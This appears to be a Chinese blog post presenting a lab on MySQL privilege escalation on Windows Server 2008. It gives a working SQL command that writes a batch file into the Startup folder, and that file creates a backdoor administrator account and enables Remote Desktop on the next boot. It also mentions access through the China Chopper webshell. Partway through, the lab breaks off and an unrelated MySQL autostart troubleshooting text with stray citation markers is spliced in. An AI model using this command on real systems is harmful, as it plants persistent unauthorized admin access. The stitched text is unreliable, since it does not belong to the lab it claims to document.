Mysql数据库提权—开机启动项提权

实验环境:windows2008、物理机

实验原理:利用Mysql,将后门写入开机自启动项。同时因为是开机自启动,再写入之后,需要重启目标服务器。(这个要求mysql的权限就很高,至少是管理员权限,甚至是system),该实验只能在windows中使用

实验步骤:

一、利用中国菜刀连接win2008,并连接数据库

二、在数据库命令行写入命令:

select "net user cxr 123.com /add & net localgroup administrators cxr /add & REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f" " into dumpfile "C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1.bat"

成功在开机启动目录写入以下文件,并开启远程连接端口,当被攻击者开机启动时,自动执行该文件中的命令 :

MySQL数据库在设置开机自启动后,若服务无效且必须重启后才能正常工作,通常与服务启动类型配置、系统资源限制、服务启动超时设置等因素有关。以下是一些关键的排查和解决方法: 确保MySQL服务的启动类型为“自动”。在Windows系统中,可以通过“服务”管理界面进行设置:找到“此电脑” → 右键选择“管理” → 进入“服务” → 找到MySQL服务 → 双击 → 将“启动类型”设置为“自动” → 点击“确定”保存更改[^3]。 在Linux系统中,可以通过`systemctl`命令来管理MySQL服务的开机自启动状态。使用以下命令设置MySQL服务开机自启动: ```bash systemctl enable mysqld.service ``` 同时,可以通过以下命令查看MySQL服务是否已设置为开机自启动: ```bash systemctl list-unit-files | grep mysqld.service ``` 若MySQL服务在开机时未能成功启动,可能是由于服务启动所需时间超过了系统默认的等待时间。在Windows系统中,服务管理器默认等待服务就绪的时间为30秒。如果MySQL服务需要更长时间来启动,可以通过修改注册表中的`ServicesPipeTimeout`值来延长等待时间。具体操作为:运行注册表编辑器 → 定位到`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control` → 新建一个DWORD(32位)值,命名为`ServicesPipeTimeout` → 修改其值为180000(180秒) → 确认更改并重启电脑[^4]。 此外,还需检查MySQL服务的日志文件,以确定是否有错误或警告信息,这些信息有助于进一步诊断问题。日志文件通常位于MySQL安装目录下的`data`文件夹中,或者可以在MySQL配置文件(如`my.cnf`或`my.ini`)中指定的日志路径找到。 对于Linux系统,可以使用以下命令查看MySQL服务的状态和日志信息: ```bash systemctl status mysqld.service journalctl -u mysqld.service ``` 最后,还需确保MySQL服务的依赖项已正确配置,并且在系统启动时能够按顺序启动。这可能涉及到其他服务(如网络服务)的启动顺序,确保MySQL服务在其依赖的服务之后启动。 通过以上方法,可以有效解决MySQL数据库开机自启动但服务无效的问题,高系统的稳定性和可靠性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值